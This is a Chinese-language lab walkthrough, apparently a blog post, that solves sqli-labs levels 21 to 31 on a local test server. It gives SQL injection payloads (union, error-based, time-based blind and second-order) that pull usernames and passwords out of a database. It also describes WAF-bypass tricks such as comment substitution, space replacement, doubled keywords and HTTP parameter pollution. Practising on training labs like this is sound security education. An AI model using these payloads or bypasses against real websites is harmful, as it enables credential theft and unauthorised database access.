Less-21:
使用正确的用户名和密码登录以后,用Burp Suite进行代理,cookie如下图所示:
我们发现现在cookie处于乱码状态,在百度搜索Base64就可以解决,推荐网址https://base64.us/解码后就是admin:
接下来要做的事,就是把相uname后面的语句通过这样的方式编码,写到cookie中,语句为:
uname=')union select 1,2,database()#
编码后为:
Jyl1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj
其他的代码都与Less-20相同,无论使用哪种注入方式,把命令编码即可。
Less-22:“(双引号)包裹
这一关用”(双引号)进行包裹,没有其他的改动,与Less-21操作方式相同,不再赘述。
Less-23:
我们进入Less-21,在index中添加显示sql语句的代码后,我们敲进?id=1:
而在键入?id=1'后发现报错,说明存在注入漏洞,我们加入--+注释符,发现并不能闭合,还是报错:
法一:联合查询
我们这个时候需要打开index查看源码,看看到底是为什么,发现在其中把注释符全部都替换成了空格符,注释符都被无效了:
我们在这里只能使用另外一种特殊的注释符:;%00(英文的分号,百分号,00),我们发现此时回显正确了:
接下来的操作就是联合查询的过程,代码如下,不再赘述:
查多少列
/?id=1‘ order by 3 ;%00
查找回显位置
/?id=-1’ union select 1,2,3 ;%00
查库:
/?id=-1‘ union select 1,2, group_concat(schema_name) from information_schema.schemata ;%00
查表:
/?id=-1‘ union select 1,2, group_concat(table_name) from information_schema.tables where table_schema = 0x7365637572697479 ;%00
查字段:
/?id=-1‘ union select 1,2, group_concat(column_name) from information_schema.columns where table_name = 0x7573657273 ;%00
查username与password:
/?id=-1‘ union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users ;%00
查询完成以后,貌似并没有问题,但是事实上有一个很大的问题。我们输入下列语句,竟然发现回显正确,把其中的and换为or也是一样正确:
http://192.168.1.1/sqli-labs-master/Less-23/?id=1'order by 10 and '1'='1
这里牵扯到sql语句的解析顺序,导致order by被忽略了,所以执行正确。
所以我们应当采取别的方式来检测表中的列数,不能使用order by语句,我们这里不使用特殊符号了,使用and '1'='1,来进行闭合,使用or也可以,或者直接在末尾用‘(单引号)闭合,在其中使用union select语句来检测列数:
http://192.168.1.1/sqli-labs-master/Less-23/?id=1'and '1'='1
http://192.168.1.1/sqli-labs-master/Less-23/?id=1'union select 1,2,3,'
而在后面的1,2,3后继续增加数字,发现报错:
通过这个语句我们可以检测出来列数是3。
把id=的值改为表中id没有的值,这里我改为-1,发现回显可以选择数据的位置:
接下来选择2,3位置继续注入,下面就是联合查询的语句操作了
查询当前的数据库:
http://192.168.1.1/sqli-labs-master/Less-23/?id=-1' union select 1,2,database()'
查库:
http://192.168.1.1/sqli-labs-master/Less-23/?id=-1'union select 1,2,(select group_concat(schema_name) from information_schema.schemata) '
查表:
http://192.168.1.1/sqli-labs-master/Less-23/?id=-1'union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479)'
查列:
http://192.168.1.1/sqli-labs-master/Less-23/?id=-1'union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)'
查字段:
http://192.168.1.1/sqli-labs-master/Less-23/?id=-1' union select 1,2,(select group_concat(concat_ws(0x7e,username,password)) from security.users)'
不再赘述,下面是最终的查询结果:
法二:报错注入
我们还可以借用updatexml()函数的格式报错来进行报错注入,爆出数据:
查当前的数据库:
http://192.168.1.1/sqli-labs-master/Less-23/?id=1'and updatexml(1,concat(0x7e,(database())),1) or '1'='1
查库:
http://192.168.1.1/sqli-labs-master/Less-23/?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1) or '1'='1
下面就按照这种方式来更换select语句,一步步爆破出所有数据,不再赘述。
Less-24:
Less-24需要使用二次注入,我们先学习二次注入:
简单的说,二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
网站对我们输入的一些重要的关键字进行了转义,但是这些我们构造的语句已经写进了数据库,可以在没有被转义的地方使用
可能每一次注入都不构成漏洞,但是如果一起用就可能造成注入。
简单来说,我们把一个伪装后的间谍打入了敌人内部,敌人只在招人时查身份信息,而在成功打入敌人内部后,再用人的时候是不会再查信息的,默认都是安全的,而他在调用间谍做任务的时候,我们就能够实现窃取他们的情报,即进行sql注入爆破信息。这就对我们的注入方式提出了要求,不能使用普通注入,需要使用二次注入:
普通注入 (1)在http后面构造语句,是立即直接生效的
(2)一次注入很容易被扫描工具扫描到
二次注入 (1)先构造语句(有被转义字符的语句)
(2)我们构造的恶意语句存入数据库
(3)第二次构造语句(结合前面已经存入数据库的语句,成功。因为系统没有对已经存入数据库的数据做检查)
(4)二次注入更加难以被发现
![](https://img2018.cnblogs.com/i-beta/1838064/202002/1838064-20200224142011842-1319606750.png)
(以上内容摘自https://www.jianshu.com/p/746164a91422)二次注入,可以概括为以下两步:
第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
接下来我们就可以利用二次注入的知识来解Less-24.
我们先创建一个相似的账号,用户名admin‘#,密码123:
我们进入mysql,键入命令select # from users,发现创建成功:
然后登录新的账号:
然后修改密码为123456,修改之后重新登录admin‘#,发现登录不上,原因是,在创建admin‘#之后,这个账号再次检索的时候根本不用进行转义检测,所以事实上搜索到的数据库名时admin,并不是admin’#,所以修改的密码也是admin的密码,所以登录的时候,username应该是admin,而不是admin‘#:
同时打开mysql输入命令,我们看到变化的密码其实是admin的,已经变成123456,admin’#的密码还是初始设置的123:
WAF绕过
在前面的内容我们已经发现,对字符进行转义的时候我们被迫必须进行绕过,前面我们碰到了注释符被转义的情况,我们采用了新的特殊注释符;%00进行注释,或者用or,and语句进行闭合。
我们这里的WAF绕过主要有三种方式:白盒绕过、黑盒绕过、fuzz测试。
1.白盒绕过:
这种方法需要分析源代码,我们通过分析,可以得知源代码中的转义规则,从而绕过。
2.黑盒绕过:
<1>.架构层面WAF
(1)寻找源网站绕过WAF检测
针对的是云WAF,找到源网站的真实地址进行绕过。
(2)同网段绕过WAF
一个网段中的数据可能不会经过WAF,实现绕过。
<2>.资源限制角度WAF
考虑了业务优先,所以构造较大的超大数据包可能不会进行检测,实现绕过。(例如Post语句)
<3>.协议层面绕过WAF
(1)协议未覆盖绕过WAF
由于业务需要只对某种类型的数据进行检测,例如只检测get型,那么Post就可以绕过了。
(2)参数污染
可能只对某一个参数进行检测,其他参数没有覆盖,例如?id=1 and id=2,WAF可能只检 测id=1,忽略id=2,我们这时可以在id=2处进行注入。
<4>.规则层面绕过WAF
情况较多,包括sql注释符,空白符,函数分隔符号,浮点数词法解释,报错注入,特殊语法等等 有一些我们前面都使用过。
3.fuzz测试
可以使用Burp Suite与手工配合进行测试,测试成功后用脚本进行处理,
以注释符为例子不断fuzz
(1)先测试最基本的语句
union/**/select
(2)再测试中间引入特殊字符
union/aaaa%01bbs/select
(3)最后测试注释长度
union/aaaaaaaaaaaaaaaaaaaaaa/select
最基本的模式
union/anything/select
(以上资料可以参考: https://blog.csdn.net/qq_33441500/article/details/102567950)
Less-25:使用””进行包裹,or and 被过滤
输入语句,发现回显正常,下面还有一行Hiti提示,是关于返回值的提示:
http://192.168.1.1/sqli-labs-master/Less-25/?id=1
测试发现报错,在使用--+注释符回显正常;
http://192.168.1.1/sqli-labs-master/Less-25/?id=1'
http://192.168.1.1/sqli-labs-master/Less-25/?id=1'--+
但是在使用order by语句的时候,发现回显不正常,下面提示我们语句中的or两个字母没有了:
http://192.168.1.1/sqli-labs-master/Less-25/?id=1'order by 3--+
此时我们看源码,发现or和and都被替换为空,且不区分大小写:
法一:双写的联合查询
我们这里使用双写的方法,把or和and的每一个字母之间,使用or或and分隔开,发现返回成功:
http://192.168.1.1/sqli-labs-master/Less-25/?id=1'OorRder by 3--+
接下来就是联合查询语句的输入了,这里唯一变化的地方,就是所有出现or和and的地方全都采用双写,其他的命令没有改动,语句如下,不再赘述。
获得回显位置:
http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-25/?id =-1‘ union select 1,2,3--+
查库:
http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-25/?id =-1‘ union select 1,2,schema_name from infoorrmation_schema.schemata --+
http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-25/?id =-1‘ union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata --+
查表:
http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-25/?id =-1‘ union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=0x7365637572697479 --+
查字段:
http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-25/?id =-1‘ union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=0x7573657273--+
爆破username和password:
http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-25/?id =-1‘ union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users--+
法二:替换or的报错注入
除了字母,可以用符号表示含义,or可以替换为||,我们发现返回正常:
http://192.168.1.1/sqli-labs-master/Less-25/?id=1'||'1'='1
http://192.168.1.1/sqli-labs-master/Less-25/?id=1'||1=1--+
那么我们可以用or的语句来闭合,也可以使用注释符,从而使用updatexml()函数的报错来爆破
http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-25/?id=-1‘ || updatexml(1,concat(0x7e,(database()),0x7e),1)--+
爆出当前数据库:
http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-25/?id=-1‘ || updatexml(1,concat(0x7e,(select schema_name from infoorrmation_schema.schemata limit 0,1),0x7e),1)--+
这里不要使用group_concat(),因为数据显示不完整,使用limit一个个遍历即可。
Less-25a:无包裹双写
键入语句页面显示正常:
http://192.168.1.1/sqli-labs-master/Less-25a/?id=1
尝试单引号,看看有没有注入漏洞,此时页面发生显著变化,数据消失,说明存在注入,但是通过$sql语句得知,此处并没有将id值进行包裹:
http://192.168.1.1/sqli-labs-master/Less-25a/?id=1'
尝试order by语句,发现也是双写,所以我们可以参考Less-25,除了没有包裹,其他语句相同,不再赘述。
Less-26
输入语句正常回显:
http://192.168.1.1/sqli-labs-master/Less-26/?id=1
加单引号报错,说明存在注入:
http://192.168.1.1/sqli-labs-master/Less-26/?id=1’
--+注释符没有输出出来,所以可能是被转义了:
http://192.168.1.1/sqli-labs-master/Less-26/?id=1--+
使用特殊注释符,回显正常:
http://192.168.1.1/sqli-labs-master/Less-26/?id=1;%00
看index中的源码,发现所有的or and 注释符 空格 都被替换了:
所以显而易见我们要像给or找个替代符号一样,给其他的被转义的符号找个替代,当然可以采用双写的方法,但是太过繁琐:
or可以用||替换
and可以用&&
注释符用;%00替代
空格用%a0替代
采用报错注入,我们可以爆破出所有的信息,当然该双写的地方还是要双写:
查看当前数据库:
http://192.168.1.1/sqli-labs-master/Less-26/?id=1111' || updatexml(1, concat(0x7e, database()) ,1) || '1'='1
查表:
http://192.168.1.1/sqli-labs-master/Less-26/?id=1' || updatexml(1, concat(0x7e, (select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema=0x7365637572697479))) ,1) || '1'='1
查字段:
http://192.168.1.1/sqli-labs-master/Less-26/?id=1' || updatexml(1, concat(0x7e, (select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name='users'))) ,1) || '1'='1
查值:
http://192.168.1.1/sqli-labs-master/Less-26/?id=1' || updatexml(1, concat(0x7e, (select (group_concat( concat_ws(0x7e,username,passwoorrd) )) from (security.users))) ,1) || '1'='1
上面都省略示意图,最终结果为:
我们发现取出的结果少,而且不完整,所以可以使用:
http://192.168.1.1/sqli-labs-master/Less-26//?id=1‘ || updatexml(1, concat(0x7e, ( select (group_concat(concat_ws(0x7e,username,passwoorrd))) from (security.users) where (id=2) ) ) ,1) || ’1‘=‘1
通过改变id的值可以遍历所有的数据:
当然也可以使用联合查询,但是注意把空格用%a0代替,;%00作为注释符,
http://192.168.1.1/sqli-labs-master/Less-26//?id=1111' %a0 union%a0 select%a0 1,2,(select%a0 group_concat( concat_ws( 0x7e,username,passwoorrd )) %a0from (%a0security.users)) ;%00
Less-26结束。
Less-26a:用?id=1')包裹
我们一样查看源码,发现与Less-26一样对很多符号进行了转义,所以还是使用跟Less-26一样的方法,然而使用报错注入时出现了问题:
http://192.168.1.1/sqli-labs-master/Less-26a/?id=1111') || updatexml(1, concat(0x7e, database()) ,1) || '1'='1
查看index中的源码,发现了问题,它屏蔽了错误信息,不会打印出来:
所以我们这里只能使用联合查询,联合查询参考前面,不再赘述。
Less-27
我们输入正常的语句,发现和上面相同,?id=1正常,?id=1'回显错误,?id=1' ;%00回显正常。打开index源码,发现它相比上面的关卡,增加了union和select的转义,而且区分大小写:
法一:联合查询
既然区分大小写,在键入union和select的时候,我们就采用大小写混合的方法:
http://192.168.1.1/sqli-labs-master/Less-27/?id=1111' %a0 uNion %a0sElect%a0 1,2,3;%00
接下来的步骤就是联合查询,不再赘述。
法二:报错注入
既然对union和select做出了限制,那我们干脆就使用updatexml函数的报错来进行注入:
http://192.168.1.1/sqli-labs-master/Less-27/?id=1'%a0|| %a0 updatexml(1,concat(0x7e,(database())),1) %a0 || '1'='1
具体过程和语句参考Less-26.
法三:布尔盲注
使用基于时间的盲注,用%26%26替代&&,意为and,因为and饿时被转义的字符:
http://192.168.1.1/sqli-labs-master/Less-27/?id=1' %26%26 if( length(database())>1, 1, sleep(5)) %26%26 %0a '1'='1
具体过程及语句不再赘述。
Less-27a:用?id=1"包裹
这一关与Less-27除了包裹上的不同,别无二致,不再赘述。
Less-28
照旧测试出注入点为')(单引号加括号):
http://192.168.1.1/sqli-labs-master/Less-28/?id=1');%00
查看index源码,发现无法使用union select联合查询,空格,注释符也都被过滤:
所以我们这里采用%a0代替空格的方式进行查询,这样就可以使用了,此处不再赘述:
http://192.168.1.1/sqli-labs-master/Less-28/?id=123456') %a0 union %a0 select %a0 1,2,3 ;%00
Less-28a
没有过滤注释符之类的符号,只过滤了union select语句:
其他的语句跟第28关一样。
Less-29
Jsp Study环境的配置:
我们这里还是进行尝试,结果发现这一关与Less-1相同,显而是有问题的,可以从介绍上看出,第29关被称为世界上最好的WAF。真正的Less-29在其他地方,在65关的文件夹下我们下拉到最底部,发现有个名叫tomcat的压缩包,点开发现里面有真正的Less-29到Less-32,我们这里需要使用新的武器了。
这里我们需要进行Jsp Study环境的配置,我们可以在以下网址下载,选择最右边的下载即可:
https://www.xp.cn/download.html
解压安装的地方因人而异,在与Php Study同一个目录下新建一个文件夹,然后在这个文件夹里解压,这里我把它命名为JSPStudy:
把我们上面说的tomcat压缩包解压到新建的文件夹 JSPStudy的www文件夹中,解压出来是sqli-labs文件夹;
打开其中的Less-29,右击用Notepad打开index.jsp,我们看到选中的地方,括号里的网址所指向的目录,这是将要打开的原来65关Less-29的index.php所在的位置,根据自己的情况来修改,我这里的地址如图所示:
我们接下来需要修改Jsp Study的端口号,因为php Study默认端口为80,不修改可能会因为端口占用而无法启动,按照下图操作即可:
最终我们通过火狐登录的时候,输入网址跳转的地方是sqli-labs的65关:
而加上8080端口的时候才能跳转到Jsp,这时跳转到的页面还有点异常:
我们这个时候在后面加上index.jsp?id=1的时候,返回正常了:
而在用“(单引号)包裹的时候,在后面加注释符--+,此时回显错误,没有出现最开始那种跟Less-1一样的情况,说明我们此时配置成功了:
接下来我们可以正式准备解决这一关的问题了,这一关我们使用的方法是参数污染:
参数污染:jsp/tomcat使用getgetParameter("id")获取到的是第一个值,php/apache使用$_GET["id"]获取的是第二个值,那么第一个id纯数字,第二个id的值,也就是,需要注入两个参数,第二个参数才是可以实现sql注入的
使用两个id的命令:index.jsp?id=1&id=2请求,服务器配置情况,客户端请求首先过tomcat,tomcat解析第一个参数,接下来tomcat去请求apache(php)服务器,apache解析最后一个参数。那最终返回客户端的应该是id=2的参数。
即jsp/tomcat使用getParameter("id")获取到的是第一个值,php/apache使用$_GET["id"]获取的是第二个值,那么第一个id纯数字,第二个id的值我们往往在tomcat服务器处做数据过滤和处理,功能类似为一个WAF。而正因为解析参数的不同,我们此处可以利用该原理绕过WAF的检测。该用法就是HPP(HTTP Parameter Pollution),http参数污染攻击的一个应用。HPP可对服务器和客户端都能够造成一定的威胁。
这里我们让apache解析后面的参数:
我们接下来就可以在后面参数的部分进行注入了,语句都是联合查询的语句,此处只放出最后的语句,不再赘述:
http://192.168.1.1:8080/sqli-labs/Less-29/index.jsp?id=1&&id=0' union select 1,2,(concat_ws(0x7e,username,password)) from security.users limit 3,1 --+
Less-30:用?id=1&id=1"包裹
30关与29关基本一样,就是sql闭合变成了双引号,我们以测试列数的语句为例:
http://192.168.1.1:8080/sqli-labs/Less-30/index.jsp?id=1&id=1" order by 3--+
其他的语句都是联合查询的相关语句,不再赘述。
我们发现在回显异常的时候,没有报错出现,这就导致我们不能使用报错注入了。
Less-30完成。
Less-31:用?id=1&id=1")包裹
与Less-29相似,除了这里的包裹方式修改为“)(双引号加括号),其他的内容并没有改变,一样使用联合查询注入,这里只把最后的语句放出来,不再赘述:
http://192.168.1.1:8080/sqli-labs/Less-31/index.jsp?id=1&id=1")union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+
Less-31完成。